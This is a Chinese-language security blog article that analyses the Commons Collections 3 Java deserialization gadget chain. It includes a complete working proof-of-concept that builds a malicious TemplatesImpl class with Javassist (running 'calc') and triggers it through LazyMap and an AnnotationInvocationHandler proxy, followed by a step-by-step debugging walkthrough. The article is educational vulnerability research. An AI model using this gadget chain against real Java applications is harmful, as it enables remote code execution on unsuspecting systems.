Java安全之Commons Collections3分析
阿新 • • 發佈:2020-10-21
# Java安全之Commons Collections3分析
文章首發:[Java安全之Commons Collections3分析](https://www.freebuf.com/vuls/252643.html)
## 0x00 前言
在學習完成前面的CC1鏈和CC2鏈後,其實再來看CC3鏈會比較輕鬆。CC1的利用鏈是
`Map(Proxy).entrySet()`觸發`AnnotationInvocationHandler.invoke()`,而CC2鏈的利用鏈是通過`InvokerTransformer.transform()`呼叫`newTransformer`觸發RCE。這裡就不說這麼詳細感興趣可以看前面幾篇文章。聽說CC3鏈是CC1和CC2鏈的結合體。下面來分析一下CC3鏈。
## 0x01 前置知識
在CC3利用鏈的構造裡面其實沒有用到很多的新的一些知識點,但是有用到新的類,還是需要記錄下來。
### InstantiateTransformer
首先還是檢視一下構造方法。
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021181930854-929035213.png)
在檢視下面的程式碼的時候會發現他的`transform`方法非常的有意思。
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021181938565-133665479.png)
`transform`方法會去使用反射例項化一個物件並且返回。
### TrAXFilter
檢視`TrAXFilter`的構造方法,會發現更有意思的事情
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182022779-1155989478.png)
```
_transformer = (TransformerImpl) templates.newTransformer();
```
呼叫了傳入引數的`newTransformer()`方法。在CC2鏈分析的時候,使用的是反射呼叫`newTransformer`,`newTransformer`呼叫`defineTransletClasses()`。最後再呼叫`_class.newInstance()`例項化`_class`物件。那麼如果是使用`TrAXFilter`的話,就不需要`InvokerTransformer`的`transform`方法反射去呼叫了。
## 0x02 POC分析
```
package com.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections333333333");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(object);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
```
上面是一段POC程式碼,先來分析一下,POC為什麼要這樣去構造。
```
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
```
先來執行一遍看一下執行的結果
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182036395-260059092.png)
能夠執行成功並且彈出計算器。
其實看到程式碼前面部分,和CC2利用鏈的構造是一模一樣的。在CC2鏈中分析文章裡面講到過。這裡就來簡單概述一下。
[Java安全之Commons Collections2分析](https://www.cnblogs.com/nice0e3/p/13816574.html)
這裡是採用了`Javassist`方式建立一個類,然後設定該類的主體為`Runtime.exec("clac.exe")`,設定完成後,將該類轉換成位元組碼。
```
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
```
反射獲取`TemplatesImpl`類的`_bytecodes`成員變數,設定值為上面使用`Javassist`類轉換後的位元組碼。
反射獲取`TemplatesImpl`類的`_name`成員變數,設定值為test。
```
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
```
`ConstantTransformer`在呼叫`transform`方法的時候,會遍歷的去呼叫數組裡面`transform`方法。並且將執行結果傳入到第二次遍歷執行的引數裡面。
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182049769-986162027.png)
第一次執行`this.iTransformers[i]`為`ConstantTransformer`。所以,呼叫的是`ConstantTransformer`的`transform`方法該方法是直接返回傳入的物件。這裡返回了個`TrAXFilter.class`物件。
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182057684-879090250.png)
而在第二次遍歷執行的時候傳入的就是`TrAXFilter.class`物件,然後再反射的去獲取方法,使用`newInstance`例項化一個物件並且進行返回。
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182104664-925446305.png)
```
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);
```
這裡是將上面構造好的`ChainedTransformer`的例項化物件,傳入進去。在呼叫`lazyMap`的get方法的時候,就會去呼叫構造好的`ChainedTransformer`物件的`transform`方法。
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182113110-1733807493.png)
那麼下面就會引出`lazyMap`的get方法的呼叫問題,再來看下面一段程式碼。
```
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);
```
反射建立了一個`AnnotationInvocationHandler`物件,傳入`Override.class`和`lazyMap`的物件,並使用`AnnotationInvocationHandler`作為呼叫處理器,為`lazyMap`做一個動態代理。關於這裡為什麼要傳入一個`Override.class`的問題,其實因為`AnnotationInvocationHandler`本來就是一個處理註解的類,構造方法的第⼀個引數是⼀個Annotation類型別引數,第二個是map型別引數(所有的註解型別都繼承自這個Annotation介面)。在這裡面不管傳入的是`Retention.class`還是`Override.class`都是可行的。
這的`lazyMap`作為被代理的物件後,呼叫任意的方法都會去執行呼叫處理器的`invoke`方法。`AnnotationInvocationHandler`實現了`InvocationHandler` ,可以被當作呼叫處理器傳入。而我們在這時候呼叫`lazyMap`的任意方法的話,就會執行一次`AnnotationInvocationHandler`中的`invoke`方法。而在`AnnotationInvocationHandler`的`invoke`方法中就會呼叫get方法。
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182122564-1692108630.png)
在呼叫get方法後又回到了前面說到的地方,這裡就會去呼叫`transform`方法去完成後面的命令執行。這裡先不細說。
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182128834-1378426772.png)
在分析完POC程式碼後其實並沒有去看到一個完整的呼叫鏈,這裡有必要去除錯一遍。
## 0x03 CC3鏈除錯
先在`AnnotationInvocationHandler`的`readobject`方法中去打個斷點進行除錯分析
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182138775-1992344276.png)
在這裡可以看到這裡的`this.memberValues`的值為被代理的`lazyMap`的物件,呼叫了`lazyMap`的`entrySet`方法。那麼這時候被代理物件的呼叫處理器的`invoke`方法會執行。前面說過使用的`AnnotationInvocationHandler`作為呼叫處理器,這裡呼叫的就是`AnnotationInvocationHandler`的`invoke`方法,跟進一下`invoke`方法。
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182146904-977078265.png)
`invoke`方法在內部呼叫了`lazyMap`的get方法,再來跟進一下get方法
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182154634-2017020189.png)
到這裡其實就能看到了` this.factory.transform(key);`,呼叫了`transform`方法,在這裡的`this.factory`為`ChainedTransformer`的例項化物件。再來跟進一下`transform`方法就能看到`ChainedTransformer`的`transform`內部的呼叫結構。
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182201909-2028474173.png)
在POC構造的時候為`ChainedTransformer`這個物件傳入了一個數組,陣列的第一值為`ConstantTransformer`例項化物件,第二個為`InstantiateTransformer`例項化物件。
所以在這裡第一次遍歷`this.iTransformers[i]`的值為`ConstantTransformer`。`ConstantTransformer`的`transform`會直接返回傳入的物件。在POC程式碼構造的時候,傳入的是`TrAXFilter`物件,所以在這裡會直接進行返回`TrAXFilter`,並且會作為第二次遍歷的傳參值。
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182209175-859450906.png)
而在第二次遍歷的時候,`this.iTransformers[i]`的值為`InstantiateTransformer`的例項化物件。所以呼叫的是`InstantiateTransformer`的`transform`方法並且傳入了`TrAXFilter`物件。跟進一下`InstantiateTransformer`的`transform`方法。
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182216205-522828215.png)
這裡其實是比較有意思的,剛剛傳入的是`TrAXFilter`物件,所以這裡的input為`TrAXFilter`,`this.iParamTypes`為`Templates`,`this.iArgs`為構造好的惡意`TemplatesImpl`例項化物件。(這裡之所以說他是惡意的`TemplatesImpl`物件是因為在前面使用反射將他的`_bytecodes`設定成了一個使用`javassist`動態建立的惡意類的位元組碼)
該`transform`方法中使用`getConstructor`方法獲取`TrAXFilter`引數為`Templates`的構造方法。
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182225976-1844360479.png)
使用該構造方法建立一個物件,並且傳入惡意的`TemplatesImpl`例項化物件。在該構造方法當中會呼叫`TemplatesImpl`的`newTransformer`方法。跟進一下`newTransformer`方法。
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182232794-437321037.png)
`newTransformer`方法內部呼叫了`getTransletInstance`方法再跟進一下。
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182239639-819943345.png)
這裡可以看到先是判斷了`_name`的值是否為空,為空的話就會執行返回null,不向下執行。這也是前面為什麼使用反射獲取並且修改`_name`值的原因。
下面一步是判斷`_class`是否為空,顯然我們這裡的`_class`值是null,這時候就會呼叫`defineTransletClasses`方法,跟進一下。
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182250089-969078833.png)
下面標註出來這段是`_bytecodes`對`_class`進行賦值,這裡的`_bytecodes`的值是使用`javassist`動態建立的惡意類的位元組碼 執行完後,來到下一步。
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182259659-998893451.png)
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182337959-2053305347.png)
這裡會對該位元組碼進行呼叫`newInstance`方法例項化一個物件,然後就可以看到命令執行成功。
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182358229-490686379.png)
關於這個為什麼呼叫`newInstance`例項化一個物件,命令就直接執行成功的問題,其實我的在CC2鏈分析裡面也說到過,主要還是看使用`javassist`動態建立一個類的時候,他是怎麼去構造的。
```
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
payload.writeFile("./");
```
先將該類寫出來到檔案中,然後再去檢視。
![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201021182406664-1620198506.png)
看到這個其實就一目瞭然了,使用`setBody`設定主體的時候,程式碼其實是插入在靜態程式碼塊中的。靜態程式碼塊的程式碼在例項化物件的時候就會進行執行。
### 呼叫鏈
```
AnnotationInvocationHandler.readobject->(proxy)lazyMap.entrySet
->AnnotationInvocationHandler.invoke->lazyMap.get
->ChainedTransformer.transform->ConstantTransformer.transform
->InstantiateTransformer.transform->TrAXFilter(構造方法)
->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance
->TemplatesImpl.defineTransletClasses
->(動態建立的類)cc2.newInstance()->Runtime.exec()
```
## 0x04 結尾
其實在除錯CC3這條利用鏈的時候,會發現前半部分使用的是CC2利用鏈的POC程式碼,而後半部分則是CC1的利用鏈程式碼。除錯過這兩條利用鏈的話,除錯CC3這條利用鏈會比較簡單易懂。
在寫這篇文的時候,第一次剛碼完字,電腦就藍屏了。重新開啟檔案的時候,文章的檔案也清空了。只能重寫一遍,但是重寫完後,發現雖然字數也差不多,但是感覺細節點的地方還是少了東西,但是又不知道具體在哪些地方